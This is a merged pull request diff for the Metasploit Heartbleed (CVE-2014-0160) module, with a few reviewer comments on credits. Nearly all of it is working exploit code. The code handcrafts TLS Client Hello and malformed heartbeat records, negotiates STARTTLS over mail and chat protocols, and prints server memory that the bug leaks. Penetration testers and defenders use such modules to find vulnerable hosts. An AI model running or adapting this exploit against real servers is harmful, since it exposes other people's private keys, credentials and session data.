Complete @Firefart's OpenSSL Heartbleed attack #3206

Merged
merged 16 commits into from Apr 9, 2014
@@ -67,7 +67,18 @@ class Metasploit3 < Msf::Auxiliary
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
- TLS_VERSION = 0x0302 # TLS 1.1
+ TLS_VERSION = {
+ '1.0' => 0x0301,
+ '1.1' => 0x0302,
+ '1.2' => 0x0303
+ }
+
+ TTLS_CALLBACKS = {
+ 'SMTP' => :tls_smtp,
+ 'IMAP' => :tls_imap,
+ 'JABBER' => :tls_jabber,
+ 'POP3' => :tls_pop3
+ }
def initialize
super(
@@ -78,27 +89,34 @@ def initialize
memory data in the response.
},
'Author' => [
- 'Jared Stafford <jspenguin[at]jspenguin.org', # Original Proof of Concept. This module is based on it.
+ 'Neel Mehta', # Vulnerability discovery
+ 'Riku', # Vulnerability discovery
+ 'Antti', # Vulnerability discovery
+ 'Matti', # Vulnerability discovery
+ 'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
'FiloSottile', # PoC site and tool
- 'Christian Mehlmauer <FireFart[at]gmail.com', # Msf module
+ 'Christian Mehlmauer <FireFart[at]gmail.com>', # Msf module
'juan vazquez', #Msf module
'wvu' # Msf module
],
'References' =>
[
- 'CVE', '2014-0160',
- 'URL', 'http://heartbleed.com/',
- 'URL', 'https://github.com/FiloSottile/Heartbleed',
- 'URL', 'https://gist.github.com/takeshixx/10107280',
- 'URL', 'http://filippo.io/Heartbleed/'
+ ['CVE', '2014-0160'],
+ ['US-CERT-VU', '720951'],
+ ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
+ ['URL', 'http://heartbleed.com/'],
+ ['URL', 'https://github.com/FiloSottile/Heartbleed'],
+ ['URL', 'https://gist.github.com/takeshixx/10107280'],
+ ['URL', 'http://filippo.io/Heartbleed/']
],
'License' => MSF_LICENSE,
)
register_options(
[
Opt::RPORT(443),
- OptEnum.new('PROTOCOL', [true, 'Protocol to use with SSL', 'WEB', [ 'WEB', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]])
+ OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]),
+ OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']])
], self.class)
end
@@ -109,9 +127,10 @@ def peer
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once
- sock.put("EHLO #{rand_text_alpha(10)}\n")
+ sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n")
res = sock.get_once
- unless res and res =~ /STARTTLS/i
+
+ unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\n")
@@ -123,7 +142,7 @@ def tls_imap
sock.get_once
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once
- unless res and res =~ /STARTTLS/i
+ unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
@@ -135,12 +154,12 @@ def tls_pop3
sock.get_once
sock.put("CAPA\r\n")
res = sock.get_once
- if !res or res =~ /^-/
+ if res.nil? || res =~ /^-/
return nil
@Meatballs1
Meatballs1 Apr 8, 2014 Contributor

Neel Mehta #Google Security
Riku, Antti and Matti #Codenomicon

@jvazquez-r7
jvazquez-r7 Apr 8, 2014 Contributor

Thanks @Meatballs1 , adding!

end
sock.put("STLS\r\n")
res = sock.get_once
- if !res or res =~ /^-/
+ if res.nil? || res =~ /^-/
return nil
end
end
@@ -155,7 +174,7 @@ def tls_jabber
sock.put(msg)
res = sock.get_once
return nil if res.nil? # SSL not supported
- return nil if res =~ /stream:error/ or res !~ /starttls/i
+ return nil if res =~ /stream:error/ || res !~ /starttls/i
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
sock.put(msg)
sock.get_once
@@ -164,56 +183,30 @@ def tls_jabber
def run_host(ip)
connect
- case datastore['PROTOCOL']
- when "WEB"
- # no STARTTLS needed
- when "SMTP"
- print_status("Trying to start SSL via SMTP")
@Meatballs1
Meatballs1 Apr 8, 2014 Contributor

Would this module work against other SSL services, SMTP etc? The default port can stay the same even so, but maybe a note in description if so?

- res = tls_smtp
- if res.nil?
- print_error("#{peer} - STARTTLS failed...")
- return
- end
- when "IMAP"
- print_status("Trying to start SSL via IMAP")
- res = tls_imap
- if res.nil?
- print_error("#{peer} - STARTTLS failed...")
- return
- end
- when "JABBER"
- print_status("Trying to start SSL via JABBER")
- res = tls_jabber
- if res.nil?
- print_error("#{peer} - STARTTLS failed...")
- return
- end
- when "POP3"
- print_status("Trying to start SSL via POP3")
- res = tls_pop3
- if res.nil?
- print_error("#{peer} - STARTTLS failed...")
- return
- end
- else
- print_error("Unknown protocol #{datastore['PROTOCOL']}")
+ unless datastore['STARTTLS'] == 'None'
+ vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
+ res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']])
+ if res.nil?
+ vprint_error("#{peer} - STARTTLS failed...")
return
+ end
end
- print_status("#{peer} - Sending Client Hello...")
+ vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
- print_error("#{peer} - Server Hello Not Found")
+ vprint_error("#{peer} - Server Hello Not Found")
return
end
- print_status("#{peer} - Sending Heartbeat...")
- sock.put(heartbeat)
+ vprint_status("#{peer} - Sending Heartbeat...")
+ heartbeat_length = 16384
+ sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5)
if hdr.blank?
- print_error("#{peer} - No Heartbeat response...")
+ vprint_error("#{peer} - No Heartbeat response...")
return
end
@@ -222,64 +215,63 @@ def run_host(ip)
version = unpacked[1] # must match the type from client_hello
len = unpacked[2]
- unless type == HEARTBEAT_RECORD_TYPE and version == TLS_VERSION
- print_error("#{peer} - Unexpected Heartbeat response'")
+ unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
+ vprint_error("#{peer} - Unexpected Heartbeat response'")
disconnect
return
end
- print_status("#{peer} - Heartbeat response, checking if there is data leaked...")
- heartbeat_data = sock.get_once(16384) # Read the magic length...
- if heartbeat_data and heartbeat_data.length > len
- print_status("#{peer} - Heartbeat response with leak...")
+ vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
+ heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
+ if heartbeat_data && heartbeat_data.length > len
+ print_good("#{peer} - Heartbeat response with leak")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully leaked info"
})
- print_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
+ vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
else
- print_error("#{peer} - Looks like there isn't leaked information...")
+ vprint_error("#{peer} - Looks like there isn't leaked information...")
end
end
- def heartbeat
+ def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << "\x40\x00" # Payload Length: 16384
+ payload << [length].pack("n")
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
def client_hello
- data = "\x01" # Handshake Type: Client Hello (1)
- data << "\x00\x00\xd8" # Length: 216
- data << "\x03\x02" # Version TLS 1.1
- data << Rex::Text.rand_text(32) # Random
- data << "\x00" # Session ID length
- data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
- data << CIPHER_SUITES.pack("n*") # Cipher Suites
- data << "\x01" # Compression methods length (1)
- data << "\x00" # Compression methods: null
- data << "\x00\x49" # Extensions length (73)
- data << "\x00\x0b" # Extension type (ec_point_formats)
- data << "\x00\x04" # Extension length
- data << "\x03\x00\x01\x02" # Extension data
- data << "\x00\x0a" # Extension type (elliptic curves)
- data << "\x00\x34" # Extension length
- data << "\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11" # Extension data
- data << "\x00\x23" # Extension type (Sessionticket TLS)
- data << "\x00\x00" # Extension length
- data << "\x00\x0f" # Extension type (Heartbeat)
- data << "\x00\x01" # Extension length
- data << "\x01" # Extension data
+ hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
+ hello_data << "\x53\x43\x5b\x90" # Random generation Time (Apr 8, 2014 04:14:40.000000000)
+ hello_data << Rex::Text.rand_text(28) # Random
+ hello_data << "\x00" # Session ID length
+ hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
+ hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
+ hello_data << "\x01" # Compression methods length (1)
+ hello_data << "\x00" # Compression methods: null
+
+ hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
+ hello_data_extensions << "\x00\x01" # Extension length
+ hello_data_extensions << "\x01" # Extension data
+
+ hello_data << [hello_data_extensions.length].pack("n")
+ hello_data << hello_data_extensions
+
+ data = "\x01\x00" # Handshake Type: Client Hello (1)
+ data << [hello_data.length].pack("n") # Length
+ data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
- record = [type, TLS_VERSION, data.length].pack('Cnn')
+ record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
record << data
end
end